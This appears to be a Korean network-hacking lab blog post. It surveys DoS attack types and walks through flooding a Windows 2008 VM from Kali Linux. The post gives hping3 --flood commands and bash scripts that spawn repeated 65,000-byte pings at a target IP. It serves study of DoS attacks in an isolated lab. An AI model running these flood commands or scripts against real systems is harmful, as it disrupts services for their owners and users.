본문 바로가기

Learning/└◆Network Hacking

DoS(Denial of Service) Attack Type ICMP LAND Attack(ICMP DoS Attack)

 

DoS(Denial of Service) Attack Type

LAND Attack -> DoS attack (1:1)

Smurf Attack -> DDoS attack(N:1)

 

LAND(Local Area Network Denial) attack is a DoS(Denial of Service) attack.

The Smurf Attack is a DDoS(Distributed Denial-of-Service) attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address.

 

DoS(Denial of Service) Attack Types

Flood Attack

Software Attack

 

(1) Flood Attack

TCP SYN Flood ack신호가 돌아오지 못하게 하는 공격

공격자 IPspoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법.

 

UDP Flood Attack

UDP BodyGarbage DataPadding 하여 공격하는 방법.

 

 

 

ICMP Smurfing Attack

ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법.

 

ICMP Flood Attack

 

(2) Software Attack

Ping of Death

ping 명령어를 이용하여 ICMP 패킷을 비 정상적으로 크게 만들어 공격하는 방법.

TearDrop

패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)

 

 

다른 방식으로 DoS/DDoS 구분하는 방법

Volume Based Attack

UDP Flood, ICMP Flood, Spoofed packet-based flood

-> (목적) 피해 시스템(타겟 시스템의 대역폭(Bandwidth)을 소진한다.)

Protocol Attack

SYN Flood, Ping of Death, Smurf, Teardrop, Fragemented packet

-> (목적)

Application Layer Attack

Session Exhaustion

 

 

[참고] ICMP LAND(Local Area Network Denial) Attack

툴을 제작해 보자.

(윈도우) c:\> ping 10.0.0.1 -t -1 50000 (c:\> ping /?)

(리눅스) # ping -s 50000 10.0.0.1 (# man ping)

 

# /root/bin/ping.sh 192.168.20.200 (KaliLinux내에 프로그램을 만든다.)

<CTRL + C>          # pkill <program>

* 기능(ping -s 60000 <Target's IP>)

* 테스트(KaliLinux -> linux200/window2008)

hping3 명령어의 수행결과와 비교한다.

 

 

 

 

 

 

ICMP LAND Attack(ICMP DoS Attack) 사용하기

 

 

 

 

ICMP LAND Attack(ICMP DoS Attack)

 

 

사용시스템

- win2008 (Victim System)

- KaliLinux (Attack System)

 

 

 

(window2008 서버)

 

windows 2008 서버에 IP를 확인한다.

 

c:\> ipconfig

 

 

작업 관리자를 실행하여 성능 탭을 선택한다.

 

<CTRL + SHIFT + ESC> => 성능탭 => 리소스모니터

 

wireshark 실행하여 패킷 모니터링을 한다.

 

wireshark 실행 시킨다.

 

 

 

 

(Kali Linux)

 

네트워크 자원 Monitoring 툴을 실행한다.

 

# gnome-system-monitor &   부하량 점검

 

타겟 시스템을 확인한다.

 

Linux -> WIN2008

# ping 192.168.20.201 부하량 확인

# ping 192.168.20.201 -s 100  사이즈 증가

# ping 192.168.20.201 -s 10000  -> Network History Received 보내는양 10 KiB/s / Win2008 네트워크 이용률 0.01%

# ping 192.168.20.201 -s 65000  -> Network History Received 초당     65 KiB/s / Win2008 네트워크 이용률 0.1%

 

 

 

 

WIN2008 -> Linux

ping -t 192.168.20.200 -l 10000    -t 반복수행    -l 사이즈

ping -t 192.168.20.200 -l 65000    win이용률 0.1% / Linux이용률 65KiB/s

 

# hping3 -S 192.168.20.201 -p 80 -c 3

 

타겟 시스템에 Flooding Attack 수행한다.

 

# hping3 -1 192.168.20.201 --flood -p 80 -d 20

-> (windows2008) 서버에서 wireshark 내용을 확인

-> -1 : ICMP Mode

--flood : flooding attack

-p : port number

-d : data size

 

# hping3 -1 192.168.20.201 --flood -p 80 -d 65495

-> data size를 늘려서 공격한다.

-1 --icmp       ICMP mode

   --flood     sent packets as fast as possible. Don't show replies

-e --sign       add 'signature'

-p --destport  [+][+]<port> destination port(default 0) ctrl+z inc/dec

-d --data       data size (default is 0)

 

(windows2008)

 

네트워크 통화량을 확인한다. ctrl+shift+esc

 

인터넷을 해본다.(약간 느린 느낌이 들것이다.)

 

(주의) 공격자 시스템에도 부하량이 걸린다.

 

 

 

 

참고

ip정보 특정 출력
ifconfig eth0 에 정보확인,inet addr , up유무 만확인
# ifconfig eth0 | egrep '(inet addr:|MTU)'

 

netstat -nr 출력내용 중 라인 처음
# netstat -nr | grep '^0.0.0.0'

 

cat /etc/resolv.conf 정보
# cat /etc/resolv.conf | grep nameserver

-------------------------------------------------
#!/bin/bash

 

echo "-------- ifconfig ---------"| cut -c11-
ifconfig eth0 | egrep '(inet addr:|MTU)'
echo

 

echo "-------- netstat -nr ------"
netstat -nr | grep '^0.0.0.0'
echo

 

echo "--------- cat/etc/resolv.conf ----"
cat /etc/resolv.conf | grep nameserver
echo

------------------------------------------------- 

 

 

 

 

ICMP LAND Attack

 

# vi ping.sh

#!/bin/bash

 

ping -s 65000 192.168.20.201 &
sleep 10

 

ping -s 65000 192.168.20.201 &
sleep 10

 

ping -s 65000 192.168.20.201 &
sleep 86400
~        

 

 

#!/bin/bash

 

if [ $# -ne 1 ] ; then
    echo -n "Usage: $0 <Target's IP>"
    exit 1
fi

 

TARGET_IP=$1

 

ping -s 65000 $TARGET_IP &
sleep 5
ping -s 65000 $TARGET_IP &
sleep 5
ping -s 65000 $TARGET_IP &
sleep 50000 

 

 

백그라운드 종료 방법

ps -ax | grep <filename> && kill PID

 

ps -ef | grep ping && kill PID

 

 

 

trap을 이용한 백그라운드 종료 처리 포함 프로그램 작성

#!/bin/bash

 

if [ $# -ne 2 ] ; then
    echo -n "Usage: $0 <Target's IP> <NUMBER>"
    exit 1
fi

 

trap 'pkill ping ; exit 1' 2

 

TARGET_IP=$1

START=1

MAX=$2

 

while [ $START -le $MAX ]

do

     ping -s 65000 $TARGET_IP >/dev/null 2>&1 &

     [ $? -eq 0 ] && echo "ping test : $START"

     PID10=$!
     sleep 5

     START=`expr $START + 1`

done
sleep 500000

kill -9 $PID10

 

trap 2